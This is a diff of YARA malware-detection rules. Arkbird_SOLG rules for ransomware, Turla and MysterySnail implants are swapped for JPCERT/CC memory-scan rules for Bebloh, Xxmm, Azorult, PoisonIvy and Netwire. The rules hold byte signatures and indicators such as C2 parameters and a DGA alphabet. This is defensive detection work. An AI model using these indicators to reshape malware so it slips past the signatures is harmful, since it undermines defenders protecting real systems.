-		$seq1 = { 55 8b ec 81 c4 60 fc ff ff 53 33 d2 89 95 60 fc ff ff 89 45 fc 33 c0 55 68 [1-3] 00 64 ff 30 64 89 20 8b 45 fc 83 78 44 00 0f 85 5d 01 00 00 b2 01 a1 [2] 44 00 e8 [3] ff 8b 55 fc 89 42 44 8b 45 fc 83 c0 48 e8 [3] ff 8d 85 ec fe ff ff 50 6a 40 e8 [3] ff 48 85 c0 0f 8c 18 01 00 00 40 89 45 f0 8d 85 ec fe ff ff 89 45 ec 8b 45 ec 8b 00 e8 35 ?? f5 ff 84 c0 0f 84 ec 00 00 00 8d 45 f4 50 68 19 00 02 00 6a 00 6a 00 8b 45 ec 0f b7 00 89 85 64 fc ff ff c6 85 68 fc ff ff 00 8d 8d 64 fc ff ff ba [3] 00 8d 85 6c fc ff ff e8 [3] ff 50 68 02 00 00 80 e8 [3] ff 85 c0 0f 85 a3 00 00 00 33 c0 55 68 [3] 00 64 ff 30 64 89 20 c7 45 f8 00 02 00 00 8d 45 f8 50 8d 85 ec fc ff ff 50 6a 00 6a 00 68 [3] 00 8b 45 f4 50 e8 [3] ff 85 c0 75 4f 8d 85 60 fc ff ff 8d 95 ec fc ff ff b9 00 01 00 00 e8 [3] ff 8b 95 60 fc ff ff 8b 45 ec 8b 08 8b 45 fc 8b 40 44 8b 18 ff 53 40 8b 45 ec 8b 00 8b 55 fc 3b 42 4c 75 16 8b 45 fc 83 c0 48 8d 95 ec fc ff ff b9 00 01 00 00 e8 [3] ff 33 c0 5a 59 59 64 89 10 68 [3] 00 8b 45 f4 50 e8 [3] ff }
-		$seq2 = { 55 8b ec 81 c4 e4 fd ff ff 53 8b da 89 45 fc 8b 45 fc e8 [2] ff ff 33 c0 55 68 [2] 40 00 64 ff 30 64 89 20 83 7d fc 00 75 15 68 05 01 00 00 8d 85 e6 fd ff ff 50 6a 00 e8 [2] ff ff eb 1a 8b 45 fc e8 [2] ff ff 8b c8 8d 85 e6 fd ff ff ba 05 01 00 00 e8 da f7 ff ff 66 83 bd e6 fd ff ff 00 0f 84 a7 01 00 00 33 c0 89 45 f8 8d 45 f4 50 68 19 00 0f 00 6a 00 68 [2] 40 00 68 01 00 00 80 e8 [2] ff ff 85 c0 0f 84 9a 00 00 00 8d 45 f4 50 68 19 00 0f 00 6a 00 68 [2] 40 00 68 02 00 00 80 e8 2b 5e ff ff 85 c0 74 7c 8d 45 f4 50 68 19 00 0f 00 6a 00 68 70 f6 40 00 68 01 00 00 80 e8 0d 5e ff ff 85 c0 74 5e 8d 45 f4 50 68 19 00 0f 00 6a 00 68 70 f6 40 00 68 02 00 00 80 e8 [2] ff ff 85 c0 74 40 8d 45 f4 50 68 19 00 0f 00 6a 00 68 [2] 40 00 68 01 00 00 80 e8 [2] ff ff 85 c0 74 22 8d 45 f4 50 68 19 00 0f 00 6a 00 68 [2] 40 00 68 01 00 00 80 e8 [2] ff ff 85 c0 0f 85 e6 00 00 00 33 c0 55 68 [2] 40 00 64 ff 30 64 89 20 8d 85 e6 fd ff ff ba 05 01 00 00 e8 c9 fc ff ff 8d 45 f0 50 6a 00 6a 00 6a 00 8d 85 e6 fd ff ff 50 8b 45 f4 50 e8 [2] ff ff 85 c0 75 33 8b 45 f0 e8 [2] ff ff 89 45 f8 8d 45 f0 50 8b 45 f8 50 6a 00 6a 00 8d 85 e6 fd ff ff 50 8b 45 f4 50 e8 [2] ff ff 8b c3 8b 55 f8 e8 [2] ff ff eb 4b 8d 45 f0 50 6a 00 6a 00 6a 00 68 [2] 40 00 8b 45 f4 50 e8 [2] ff ff 85 c0 75 2f 8b 45 f0 e8 [2] ff ff 89 45 f8 8d 45 f0 50 8b 45 f8 50 6a 00 6a 00 68 [2] 40 00 8b 45 f4 50 e8 [2] ff ff 8b c3 8b 55 f8 e8 [2] ff ff 33 c0 5a 59 59 64 89 10 68 [2] 40 00 83 7d f8 00 74 08 8b 45 f8 e8 [2] ff ff 8b 45 f4 50 e8 [2] ff ff }
-		$seq3 = { d1 f8 79 03 83 d0 00 03 45 80 89 45 d0 8b 45 a4 8b 80 e4 02 00 00 8b 40 10 01 45 d0 8b 45 a4 8b 80 e4 02 00 00 8b 40 04 29 45 d0 8b 75 8c 2b 75 d4 83 ee 02 8b 45 a4 8b 80 e4 02 00 00 2b 70 08 8b 45 a4 8b 80 e4 02 00 00 2b 70 0c 89 75 8c 6a 00 56 8b 45 d0 50 8b 45 ec e8 [2] fb ff 50 57 8b 85 68 ff ff ff 50 e8 [2] fc ff 84 db 0f 84 0d 03 00 00 a1 [3] 00 8b 00 e8 [2] 09 00 50 8b 45 b4 50 6a 23 e8 [3] ff 89 45 d8 8b 45 d8 01 45 90 83 45 94 0f 83 45 90 05 8b 45 f0 8b 40 08 8b 50 74 }
-		$s1 = "System\\CurrentControlSet\\Control\\Keyboard Layouts\\%.8x" fullword wide
-		$s2 = { 45 00 72 00 72 00 6f 00 72 00 20 00 63 00 6f 00 6e 00 6e 00 65 00 63 00 74 00 69 00 6e 00 67 00 20 00 74 00 6f 00 20 00 73 00 65 00 72 00 76 00 65 00 72 00 3a 00 20 00 25 00 73 }
-		$s3 = { 45 00 72 00 72 00 6f 00 72 00 20 00 6f 00 70 00 65 00 6e 00 69 00 6e 00 67 00 20 00 72 00 65 00 71 00 75 00 65 00 73 00 74 00 3a 00 20 00 28 00 25 00 64 00 29 00 20 00 25 00 73 }
-		$s4 = { 43 00 61 00 6e 00 6e 00 6f 00 74 00 20 00 6f 00 70 00 65 00 6e 00 20 00 66 00 69 00 6c 00 65 00 20 00 22 00 25 00 73 00 22 00 2e 00 20 00 25 00 73 }
-		$s5 = { 43 00 61 00 6e 00 6e 00 6f 00 74 00 20 00 6f 00 70 00 65 00 6e 00 20 00 63 00 6c 00 69 00 70 00 62 00 6f 00 61 00 72 00 64 00 3a 00 20 00 25 00 73 }
+		$des3 = { 68 03 66 00 00 }
+		$param = "MAC=%02X%02X%02XINSTALL=%08X%08X"
+		$string = { 2d 00 75 00 00 00 46 75 63 6b 61 76 2e 72 75 00 00}
 
 	condition:
-		uint16(0)==0x5a4d and filesize >500KB and 2 of ($seq*) and 3 of ($s*)
+		all of them
 }
-rule ARKBIRD_SOLG_RAN_Piton_Nov_2021_1 : FILE
+rule JPCERTCC_Bebloh
 {
 	meta:
-		description = "Detect Piton variant (rebuild from the Babuk leaks)"
-		author = "Arkbird_SOLG"
-		id = "433d0692-553b-5efe-84e4-134e99342fe5"
-		date = "2021-11-03"
-		modified = "2021-11-04"
-		reference = "Internal Research"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-11-04/RAN_Piton_Nov_2021_1.yara#L1-L18"
-		license_url = "N/A"
-		logic_hash = "cd8287b3be0f8f9338cf6ba8eb24dd9a6f91a54c984a635e1103f7e6028cbf3c"
+		description = "detect Bebloh(a.k.a. URLZone) in memory"
+		author = "JPCERT/CC Incident Response Group"
+		id = "7c3decb2-9cb5-5569-bab2-982c769ee233"
+		date = "2021-08-16"
+		modified = "2021-08-16"
+		reference = "internal research"
+		source_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/yara/rule.yara#L290-L304"
+		license_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/LICENSE.txt"
+		logic_hash = "22b8ae9d40d34f83d8cc6c2dab56a866c8de8c9cc38b5da962c7071302f91f03"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		hash1 = "71936bc3ee40c7ea678889d2ad5fa7eb39401752cd58988ce462f9d4048578ac"
-		hash2 = "77c7839c7e8d4aaf52e33a2f29db8459381b5cc3b2700072305a8bae5e0762a9"
-		hash3 = "ae6020a06d2a95cbe91b439f4433e87d198547dec629ab0900ccfe17e729cff1"
-		tlp = "white"
-		adversary = "RAAS"
+		quality = 80
+		tags = ""
+		rule_usage = "memory scan"
 
 	strings:
-		$s1 = { 68 38 3c 40 00 6a 00 68 01 00 1f 00 ff 15 c4 50 41 00 85 c0 75 11 68 58 3c 40 00 6a 00 6a 00 ff 15 98 50 41 00 eb 0a e9 b0 00 00 00 e9 ab 00 00 00 c7 45 a8 00 00 00 00 68 78 3c 40 00 8b 55 c8 52 8b 45 e8 50 e8 86 9b ff ff 83 c4 0c 0f b6 c8 83 f9 01 75 0c 8b 55 a8 52 e8 02 f9 ff ff 83 c4 04 e8 ea 94 ff ff ff 15 04 51 41 00 89 45 c0 83 7d c0 00 74 3f b8 41 00 00 00 66 89 45 f0 eb 0c 66 8b 4d f0 66 83 c1 01 66 89 4d f0 0f b7 55 f0 83 fa 5a 7f 1f 8b 45 c0 83 e0 01 74 }
-		$s2 = { 68 80 16 40 00 ff 15 38 50 41 00 89 45 f0 68 90 16 40 00 8b 45 f0 50 ff 15 34 50 41 00 89 45 fc 83 7d fc 00 74 07 8d 4d f8 51 ff 55 fc 6a 00 6a 00 68 b0 16 40 00 68 08 17 40 00 68 18 17 40 00 6a 00 ff 15 4c 51 41 00 e8 9d 03 00 00 85 c0 74 2d 68 24 17 40 00 ff 15 38 50 41 00 89 45 ec 68 34 17 40 00 8b 55 ec 52 ff 15 34 50 41 00 89 45 f4 83 7d }
-		$s3 = { 81 ec f4 02 00 00 c7 85 7c ff ff ff 90 15 40 00 c7 45 80 98 15 40 00 c7 45 84 a0 15 40 00 c7 45 88 a8 15 40 00 c7 45 8c b0 15 40 00 c7 45 90 b8 15 40 00 c7 45 94 c0 15 40 00 c7 45 98 c8 15 40 00 c7 45 9c d0 15 40 00 c7 45 a0 d8 15 40 00 c7 45 a4 e0 15 40 00 c7 45 a8 e8 15 40 00 c7 45 ac f0 15 40 00 c7 45 b0 f8 15 40 00 c7 45 b4 00 16 40 00 c7 45 b8 08 16 40 00 c7 45 bc 10 16 40 00 c7 45 c0 18 16 40 00 c7 45 c4 20 16 40 00 c7 45 c8 28 16 40 00 c7 45 cc 30 16 40 00 c7 45 d0 38 16 40 00 c7 45 d4 40 16 40 00 c7 45 d8 48 16 40 00 c7 45 dc 50 16 40 00 c7 45 e0 58 16 40 00 c7 45 fc 00 00 00 00 c7 45 e4 78 00 00 00 c7 45 e8 00 00 00 00 c7 45 f4 00 00 00 00 eb 09 8b 45 f4 83 c0 01 89 45 f4 83 7d f4 1a 7d 35 8b 4d f4 8b 94 8d 7c ff ff ff 52 ff 15 f8 50 41 00 83 f8 01 75 1d 8b 45 fc 8b 4d f4 8b 94 8d 7c ff ff ff 89 94 85 14 ff ff ff 8b 45 fc 83 c0 01 89 45 fc eb bc b9 02 00 00 00 6b d1 00 33 c0 66 89 84 15 0c fd ff ff 68 00 00 01 00 e8 00 e8 00 00 83 c4 04 89 45 f8 83 7d f8 00 0f 84 d4 00 00 00 68 00 00 01 00 e8 e6 e7 00 00 83 c4 04 89 45 ec 83 7d ec 00 0f 84 ae 00 00 00 68 00 80 00 00 8b 4d f8 51 ff 15 08 51 41 00 89 45 f0 83 7d fc 00 76 63 8d 55 e8 52 8b 45 e4 50 8d 8d 0c fd ff ff 51 8b 55 f8 52 ff 15 f4 50 41 00 85 c0 74 26 8d 85 0c fd ff ff 50 ff 15 40 50 41 00 83 f8 03 75 14 b9 02 00 00 00 6b d1 00 33 c0 66 89 84 15 0c fd ff ff eb 22 8b 4d fc 83 e9 01 89 4d fc 8b 55 f8 52 8b 45 fc 8b 8c 85 14 ff ff ff 51 ff 15 44 50 41 00 eb 02 eb 1b 68 00 80 00 00 8b 55 f8 52 8b 45 f0 50 ff 15 00 51 41 00 85 c0 0f 85 7a ff ff ff 8b 4d f0 51 ff 15 fc 50 41 00 8b 55 }
+		$crc32f = { b8 EE 56 0b ca }
+		$dga = "qwertyuiopasdfghjklzxcvbnm123945678"
+		$post1 = "&vcmd="
+		$post2 = "?tver="
 
 	condition:
-		uint16(0)==0x5a4d and filesize >30KB and all of them
+		all of them
 }
-rule ARKBIRD_SOLG_APT_Turla_Bigboss_Apr_2021_1 : FILE
+rule JPCERTCC_Xxmm
 {
 	meta:
-		description = "Detects new BigBoss implants (SilentMoon/GoldenSky)"
-		author = "Arkbird_SOLG"
-		id = "6f6c8d1e-f2c7-5f08-b1dc-ce726c6d89be"
-		date = "2021-04-06"
-		modified = "2021-07-17"
-		reference = "https://twitter.com/DrunkBinary/status/1304086230540390400"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-07-17/BigBoss/APT_Turla_BigBoss_Apr_2021_1.yara#L1-L21"
-		license_url = "N/A"
-		logic_hash = "ce0ffdad9eecb79128b6c08c87914f356c86ac631655c76905a06d953add3998"
+		description = "detect xxmm in memory"
+		author = "JPCERT/CC Incident Response Group"
+		id = "be459cbf-84a1-539e-b0b5-b7a00b6d278d"
+		date = "2021-08-16"
+		modified = "2021-08-16"
+		reference = "internal research"
+		source_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/yara/rule.yara#L306-L319"
+		license_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/LICENSE.txt"
+		logic_hash = "4a860ac3efb97ce03fa906c2d0e7cd08654f6e82531d9449af7891be83a036d5"
 		score = 75
-		quality = 71
-		tags = "FILE"
-		hash1 = "94421ccb97b784c43d92c4b1438481eee9c907db6b13f6cfc4b86a6bb057ddcd"
-		hash2 = "67bfa585ace8df20deb1d8a05bd4acf2c84c6fa0966276b3ea7607056abe25bb"
-		hash3 = "6ca0b4efe077fe05b2ae871bf50133c706c7090a54d2c3536a6c86ff454caa9a"
+		quality = 80
+		tags = ""
+		rule_usage = "memory scan"
 
 	strings:
-		$s1 = { 55 8b ec a1 [2] 40 00 83 ec 3c 50 6a 3c 8d 4d c4 51 68 [2] 40 00 68 [2] 40 00 68 [2] 40 00 ff 15 78 ?? 40 00 8d 45 c4 8d 50 02 8d 49 00 66 8b 08 83 c0 02 66 85 c9 75 f5 2b c2 d1 f8 75 1c 8b 15 [2] 40 00 52 68 [2] 40 00 68 [2] 40 00 68 [2] 40 00 ff 15 [2] 40 00 8b e5 }
-		$s2 = { 5c 00 5c 00 2e 00 5c 00 47 00 6c 00 6f 00 62 00 61 00 6c 00 5c 00 50 00 49 00 50 00 45 00 5c }
-		$s3 = { 5c 5c 25 73 5c 70 69 70 65 5c 25 73 }
-		$s4 = { 5c 00 69 00 6e 00 66 00 5c 00 00 00 [4-16] 2e 00 69 00 6e 00 66 }
-		$s5 = "%d blocks, %d sorted, %d scanned" ascii fullword
-		$s6 = "REMOTE_NS:ERROR:%d" ascii fullword
-		$s7 = { 5c 5c 25 73 5c 69 70 63 24 }
-		$s8 = { 53 00 59 00 53 00 54 00 45 00 4d 00 5c 00 43 00 75 00 72 00 72 00 65 00 6e 00 74 00 43 00 6f 00 6e 00 74 00 72 00 6f 00 6c 00 53 00 65 00 74 00 5c 00 53 00 65 00 72 00 76 00 69 00 63 00 65 00 73 00 5c 00 6c 00 61 00 6e 00 6d 00 61 00 6e 00 73 00 65 00 72 00 76 00 65 00 72 00 5c 00 70 00 61 00 72 00 61 00 6d 00 65 00 74 00 65 00 72 00 73 00 00 00 4e 00 75 00 6c 00 6c 00 53 00 65 00 73 00 73 00 69 00 6f 00 6e 00 50 00 69 00 70 00 65 00 73 00 00 00 00 00 53 00 59 00 53 00 54 00 45 00 4d 00 5c 00 43 00 75 00 72 00 72 00 65 00 6e 00 74 00 43 00 6f 00 6e 00 74 00 72 00 6f 00 6c 00 53 00 65 00 74 00 5c 00 43 00 6f 00 6e 00 74 00 72 00 6f 00 6c 00 5c 00 4c 00 53 00 41 00 00 00 00 00 52 00 65 00 73 00 74 00 72 00 69 00 63 00 74 00 41 00 6e 00 6f 00 6e 00 79 00 6d 00 6f 00 75 00 73 }
+		$v1 = "setupParameter:"
+		$v2 = "loaderParameter:"
+		$v3 = "parameter:"
 
 	condition:
-		uint16(0)==0x5a4d and filesize >20KB and 7 of ($s*)
+		all of them
 }
-rule ARKBIRD_SOLG_MAL_Mysterysnail_RAT_Oct_2021_1 : FILE
+rule JPCERTCC_Azorult_1
 {
 	meta:
-		description = "Detect MysterySnaial RAT implant"
-		author = "Arkbird_SOLG"
-		id = "2fa5015a-144f-52f6-8a5f-28fce10861e3"
-		date = "2021-10-13"
-		modified = "2021-10-14"
-		reference = "https://securelist.com/mysterysnail-attacks-with-windows-zero-day/104509/"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-10-14/MAL_MysterySnail_RAT_Oct_2021_1.yara#L1-L25"
-		license_url = "N/A"
-		logic_hash = "bcf072fae02b479084b8d47b4cd676216f72aecfa4ebcf8226b6997839929b57"
-		score = 50
-		quality = 75
-		tags = "FILE"
-		hash1 = "e84be291efadd53a8bb965bfb589590ffe870da9187e6752cc7a9f028053ff5d"
-		hash2 = "b7fb3623e31fb36fc3d3a4d99829e42910cad4da4fa7429a2d99a838e004366e"
-		hash3 = "73f520223a2e01c036a4b620c7188e733c113a429e25c5c3de7fbbc1c3d16ccc"
-		level = "experimental"
-		tlp = "White"
-		adversary = "MysterySnail"
+		description = "detect Azorult in memory"
+		author = "JPCERT/CC Incident Response Group"
+		id = "c73a007c-4d5f-5504-9635-9bffe1282aef"
+		date = "2021-08-16"
+		modified = "2021-08-16"
+		reference = "internal research"
+		source_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/yara/rule.yara#L321-L334"
+		license_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/LICENSE.txt"
+		logic_hash = "158d65dcd8f3ce8fe4ab2d9bcc97edf585c1d665cc54e1e4969ef83c8103a149"
+		score = 75
+		quality = 80
+		tags = ""
+		rule_usage = "memory scan"
 
 	strings:
-		$s1 = { 57 48 83 ec 20 4c 8b c2 33 f6 0f b6 d1 41 b1 01 8b c2 c1 e8 04 41 84 c1 75 53 4d 85 c0 74 47 41 0f b7 08 8d 41 bf 66 83 f8 19 76 0a 66 83 e9 61 66 83 f9 19 77 08 66 41 83 78 02 3a 74 03 44 8a ce 45 84 c9 49 8d 40 04 49 8b c8 48 0f 45 c8 66 39 31 74 19 66 83 39 5c 74 06 66 83 39 2f 75 06 66 39 71 02 74 07 bb 00 80 00 00 eb 05 bb 40 40 00 00 66 c1 e2 07 b8 80 00 00 00 66 f7 d2 66 23 d0 b8 00 01 00 00 66 0b d0 66 0b da 4d 85 c0 74 65 ba 2e 00 00 00 49 8b c8 e8 64 4b 01 00 48 8b f8 48 85 c0 74 50 48 8d 15 a9 0d 09 00 48 8b c8 e8 5d dd 00 00 85 c0 74 39 48 8d 15 a6 0d 09 00 48 8b cf e8 4a dd 00 00 85 c0 74 26 48 8d 15 a3 0d 09 00 48 8b cf e8 37 dd 00 00 85 c0 74 13 48 8d 15 a0 0d 09 00 48 8b cf e8 24 dd 00 00 85 c0 75 04 66 83 cb 40 48 8b 74 24 38 0f b7 c3 66 c1 e8 03 66 83 e0 38 66 0b d8 0f b7 c3 66 c1 e8 06 66 83 e0 07 66 0b c3 48 8b 5c 24 30 }
-		$s2 = { 4c 8d 0d 6e 96 09 00 48 89 44 24 20 44 8b c7 48 8d 15 a7 62 0d 00 48 8b ce e8 47 17 fb ff 85 c0 0f 8e 83 00 00 00 4c 8d 0d 48 96 09 00 44 8b c7 48 8d 15 36 59 0d 00 48 8b ce e8 26 17 fb ff 85 c0 7e 66 49 8b 46 10 8b 08 81 f9 0a 04 00 00 74 1b 81 f9 3f 04 00 00 74 13 81 f9 0b 04 00 00 44 8b c3 41 0f }
-		$s3 = { 25 2a 73 70 75 62 3a 0a }
-		$s4 = { 48 81 ec b0 02 00 00 48 8b 05 7a e9 7b 00 48 33 c4 48 89 84 24 a0 02 00 00 48 8b ea 48 8d 44 24 38 48 8d 15 c0 a1 79 00 48 89 44 24 20 41 b9 01 00 00 00 45 33 c0 48 c7 c1 01 00 00 80 ff 15 3d 94 71 00 85 c0 75 53 48 8b 4c 24 38 48 8d 44 24 30 48 89 44 24 28 4c 8d 4c 24 34 48 8d 84 24 d0 01 00 00 c7 44 24 34 01 00 00 00 45 33 c0 48 89 44 24 20 48 8d 15 e6 a1 79 00 c7 44 24 30 c7 00 00 00 ff 15 00 94 71 00 85 c0 75 0e 8b 84 24 d0 01 00 00 89 45 68 85 c0 75 07 33 c0 e9 eb 00 00 00 83 f8 01 75 f4 33 d2 48 8d 4c 24 40 41 b8 90 01 00 00 e8 f0 82 6f 00 48 8b 4c 24 38 48 8d 44 24 30 48 89 44 24 28 4c 8d 4c 24 34 48 8d 44 24 40 c7 44 24 30 c8 00 00 00 45 33 c0 48 89 44 24 20 48 8d 15 90 a1 79 00 ff 15 9a 93 71 00 85 c0 75 a8 33 f6 8b fe 8b de 66 83 7c 5c 40 3a 74 15 48 83 fb 64 74 94 ff c7 48 ff c3 48 83 fb 64 7c e7 33 c0 eb 77 48 63 c7 48 8d 4c 24 42 4c 89 b4 24 d0 02 00 00 4c 8d 34 00 49 03 ce e8 2f ad 6f 00 89 45 64 49 81 }
-		$s5 = { 48 8d 4c 24 60 ff 97 18 04 00 00 33 f6 c7 45 90 01 00 00 00 0f 57 c0 48 89 74 24 68 33 c9 66 0f 7f 44 24 70 48 89 75 80 48 89 75 88 c7 45 94 01 00 00 00 48 c7 45 9c 01 00 00 00 48 89 75 a8 e8 32 97 6f 00 8d 4e 01 48 89 45 b0 e8 26 97 6f 00 8d 4e 02 48 89 45 b8 e8 1a 97 6f 00 48 89 45 c0 45 33 c9 48 8d 45 d0 45 33 c0 48 89 44 24 48 48 8b d3 48 8d 44 24 60 33 c9 48 89 44 24 40 48 89 74 24 38 48 89 74 24 30 89 74 24 28 c7 44 24 20 01 00 00 00 ff 97 90 03 00 00 85 c0 74 0a 48 8b 4d d8 ff 15 da 8f 71 00 48 8b 4d d0 ff 15 d0 8f 71 00 b9 10 27 00 00 ff 15 b5 8f 71 00 0f 10 05 96 9c 79 00 48 8d 4d 08 33 d2 f2 0f 10 0d 98 9c 79 00 41 b8 b8 07 00 00 0f 29 45 f0 f2 0f 11 4d 00 e8 84 7d 6f 00 4c 8d 05 65 9c 79 00 48 8d 55 f0 48 8d 4c 24 58 e8 c3 98 6f 00 85 c0 0f 85 af 00 00 00 48 8b 4c 24 58 44 8d 40 02 33 d2 e8 db aa 6f 00 48 8b 4c 24 58 e8 71 94 6f 00 48 8b 4c 24 58 45 33 c0 33 d2 48 63 d8 e8 bf aa 6f 00 8d 4b 01 48 63 c9 e8 d4 67 6f 00 4c 8b 4c 24 58 4c 8b c3 ba 01 00 00 00 48 8b c8 48 8b f0 e8 58 f5 6f 00 48 8b 4c 24 58 48 8b d8 e8 47 99 6f 00 b9 64 00 00 00 ff 15 08 8f 71 00 48 83 bf f0 03 00 00 00 75 11 b9 42 6e aa cf e8 8c e7 ff ff 48 89 87 f0 03 00 00 48 8d 4d f0 ff 97 f0 03 00 00 44 8b cb 89 5c 24 50 4c 8b c6 48 8d 54 24 50 49 8b ce e8 44 d7 5c 00 48 8b ce 85 }
+		$v1 = "Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)"
+		$v2 = "http://ip-api.com/json"
+		$v3 = { c6 07 1e c6 47 01 15 c6 47 02 34 }
 
 	condition:
-		uint16(0)==0x5A4D and filesize >500KB and all of ($s*)
+		all of them
 }
-rule ARKBIRD_SOLG_RAN_Astrolocker_May_2021_1 : FILE
+rule JPCERTCC_Poisonivy
 {
 	meta:
-		description = "Detect the Astrolocker ransomware"
-		author = "Arkbird_SOLG"
-		id = "f2c2c96a-277e-575b-8d80-4729f4a1cfe4"
-		date = "2020-05-12"
-		modified = "2021-05-16"
-		reference = "Internal Research"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-05-12/Astrolocker/RAN_Astrolocker_May_2021_1.yara#L1-L18"
-		license_url = "N/A"
-		logic_hash = "7e50642f5f864b7cffeb5ccf4581ac7566da24fd5361a3303a860f036cd6d439"
-		score = 50
-		quality = 75
-		tags = "FILE"
-		hash1 = "7fe1686f4afb9907f880a5e77bf30bc00fae71980f57ca70b60b7b1716456a2f"
-		hash2 = "b26749b17ca691328ba67ee49d4d9997c101966c607ab578afad204459b7bf8f"
-		tlp = "White"
-		adversary = "-"
-		level = "Experimental"
+		description = "detect PoisonIvy in memory"
+		author = "JPCERT/CC Incident Response Group"
+		id = "e7b27a88-490f-5f79-9e8c-65b8f7505a72"
+		date = "2021-08-16"
+		modified = "2021-08-16"
+		reference = "internal research"
+		source_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/yara/rule.yara#L336-L349"
+		license_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/LICENSE.txt"
+		logic_hash = "dec7a95c877078f77cbcdcf8646680f6f1d55d438af98e519d13461a7854b095"
+		score = 75
+		quality = 80
+		tags = ""
+		rule_usage = "memory scan"
 
 	strings:
-		$seq_Mar_2021_1 = { 6a 00 6a 00 ff 15 88 60 41 00 81 3d cc e6 b8 02 57 0f 00 00 8b 0d b4 c4 41 00 8b 15 b8 c4 41 00 a1 bc c4 41 00 89 4c 24 2c 89 54 24 20 89 44 24 24 75 14 6a 00 6a 00 6a 00 6a 00 6a 00 6a 00 6a 00 ff 15 28 60 41 00 8b 2d a8 60 41 00 c7 44 24 1c 20 00 00 00 8d 9b 00 00 00 00 8b 54 24 18 8b ce c1 e1 04 03 4c 24 20 8b c6 c1 e8 05 89 4c 24 14 8d 0c 32 89 44 24 10 8b 44 24 24 01 44 24 10 31 4c 24 14 81 3d cc e6 b8 02 f5 03 00 00 c7 05 0c da b8 02 36 06 ea e9 75 08 6a 00 ff 15 5c 60 41 00 8b 4c 24 14 31 4c 24 10 83 3d cc e6 b8 02 42 75 30 6a 00 6a 00 6a 00 ff d5 6a 30 8d 54 24 3c 6a 00 52 c7 44 24 40 00 00 00 00 e8 5a 5e ff ff 83 c4 0c 6a 00 8d 44 24 38 50 6a 00 ff 15 00 60 41 00 2b 5c 24 10 8b cb c1 e1 04 81 3d cc e6 b8 02 8c 07 00 00 89 4c 24 14 75 09 6a 00 6a 00 e8 d2 eb fe ff }
-		$seq_Apr_2021_1 = { 89 44 24 38 48 8b 05 78 4e 00 00 48 89 05 b9 9e 00 00 48 8b 05 52 4e 00 00 48 89 05 b3 9e 00 00 48 8b 05 4c 4e 00 00 48 89 05 ad 9e 00 00 48 8b 05 46 4e 00 00 48 89 05 a7 9e 00 00 8b 05 51 9e }
+		$a1 = { 0E 89 02 44 }
+		$b1 = { AD D1 34 41 }
+		$c1 = { 66 35 20 83 66 81 F3 B8 ED }
 
 	condition:
-		uint16(0)==0x5a4d and filesize >30KB and 1 of ($seq*)
+		all of them
 }
-rule ARKBIRD_SOLG_RAN_Mountlocker_May_2021_1 : FILE
+rule JPCERTCC_Netwire
 {
 	meta:
-		description = "Detect the Mountlocker ransomware"
-		author = "Arkbird_SOLG"
-		id = "0bc0d341-4658-500e-b487-1993e5431560"
-		date = "2020-05-12"
-		modified = "2021-05-16"
-		reference = "Internal Research"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-05-12/Astrolocker/RAN_MountLocker_May_2021_1.yara#L1-L20"
-		license_url = "N/A"
-		logic_hash = "c0826d4c740b5c46b704b42e002602dd0cda2b6d1bf0ba5431877be8bd600b64"
+		description = "detect netwire in memory"
+		author = "JPCERT/CC Incident Response Group"
+		id = "cf71b80f-2618-5209-bb49-fefea9e0a7f3"
+		date = "2021-08-16"
+		modified = "2021-08-16"
+		reference = "internal research"
+		source_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/yara/rule.yara#L351-L367"
+		license_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/LICENSE.txt"
+		logic_hash = "fa6ec967b6b3de226dcdb06d6b8f684800331a2420f038dd6274a8b9c3d8be78"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		hash1 = "0aa8099c5a65062ba4baec8274e1a0650ff36e757a91312e1755fded50a79d47"
-		hash2 = "f570d5b17671e6f3e56eae6ad87be3a6bbfac46c677e478618afd9f59bf35963"
-		hash3 = "5eae13527d4e39059025c3e56dad966cf67476fe7830090e40c14d0a4046adf0"
-		tlp = "White"
-		adversary = "MountLocker"
+		quality = 80
+		tags = ""
+		rule_usage = "memory scan"
 
 	strings:
-		$seq_Sep_2020_1 = { 40 53 48 81 ec f0 02 00 00 b9 e8 03 00 00 ff 15 ec 1a 00 00 bb 68 00 00 00 48 8d 4c 24 70 44 8b c3 33 d2 e8 9c 00 00 00 ba 04 01 00 00 89 5c 24 70 48 8d 8c 24 e0 00 00 00 ff 15 51 1a 00 00 48 8d 15 a2 9c 00 00 48 8d 8c 24 e0 00 00 00 ff 15 64 1a 00 00 48 8d 44 24 50 45 33 c9 48 89 44 24 48 48 8d 94 24 e0 00 00 00 48 8d 44 24 70 45 33 c0 48 89 44 24 40 33 c9 48 83 64 24 38 00 48 83 64 24 30 00 c7 44 24 28 10 00 00 00 83 64 24 20 00 ff 15 c1 19 00 00 8b d8 85 c0 74 16 48 8b 4c 24 58 ff 15 50 1a 00 00 48 8b 4c 24 50 ff 15 45 1a 00 00 8b c3 48 81 c4 f0 02 }
